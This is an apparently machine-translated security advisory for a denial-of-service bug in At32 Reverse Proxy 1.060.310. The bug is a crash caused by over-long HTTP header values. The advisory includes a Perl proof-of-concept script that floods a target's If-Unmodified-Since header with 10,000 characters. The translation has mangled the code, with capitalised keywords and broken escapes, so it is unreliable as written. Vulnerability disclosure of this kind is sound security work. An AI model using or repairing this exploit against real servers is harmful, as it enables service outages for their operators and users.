At32 Reverse Proxy multiple HTTP header fields DoS Vulnerability

Release date: 2012-03-20
Updated on: 2012-03-21

Affected Systems:
At32 at32 Reverse Proxy 1.060.310
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52553

At32 Reverse Proxy allows the service to store multiple websites on a single IP address or port.

At32 Reverse Proxy has the Null Pointer Reference Vulnerability in the HTTP header field (such as If-Modified-Since and Server) in the HTTP Proxy service. It can cause a crash through the ultra-long string in the HTTP header.

<* Source: demonalex

Link: http://secunia.com/advisories/48460/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Demonalex () provides the following test methods:

#-------------------------------------------------------------
#! /Usr/bin/perl-w
Use Socket;
$ | = 1;
Print '************************************** ***'. "\ n ";
Print '* At32 Reverse Proxy v1.060.310 DoS PoC *'. "\ n ";
Print '* writed by demonalex (at) 163 (dot) com [email concealed] *'. "\ n ";
Print '************************************** ***'. "\ n ";
$ Edevil = 'A' x10000;
$ Test_ip = shift; # target ip
$ Test_port = shift; # target port
If (! Defined ($ test_ip) |! Defined ($ test_port )){
Die "usage: $0 target_ip target_port \ n ";
}
$ Test_payload =
"GET/HTTP/1.0 \ r \ n ".
"Accept: */* \ r \ n ".
"Accept-Language: zh-cn \ r \ n ".
"UA-CPU: x86 \ r \ n ".
"If-Unmodified-Since:". $ edevil. "\ r \ n ".
"Accept-Encoding: gzip, deflate \ r \ n ".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;. net clr 1.1.4322 ;".
". Net clr 2.0.50727;. net clr 3.0.20.6.2152;. net clr 3.5.30729; 360SE) \ r \ n ".
"Host:". $ test_ip. "\ r \ n ".
"Connection: Keep-Alive". "\ r \ n ";
$ Test_target = inet_aton ($ test_ip );
$ Test_target = sockaddr_in ($ test_port, $ test_target );
Socket (SOCK, AF_INET, SOCK_STREAM, 6) | die "cannot create socket! \ N ";
Connect (SOCK, $ test_target) | die "cannot connect the target! \ N ";
Send (SOCK, $ test_payload, 0) | die "cannot send the payload! \ N ";
# Recv (SOCK, $ test_payload, 100, 0 );
Close (SOCK );
Print "done! \ N ";
Exit (1 );
#-------------------------------------------------------------

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

At32
----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.at32.com/doc/rproxy.htm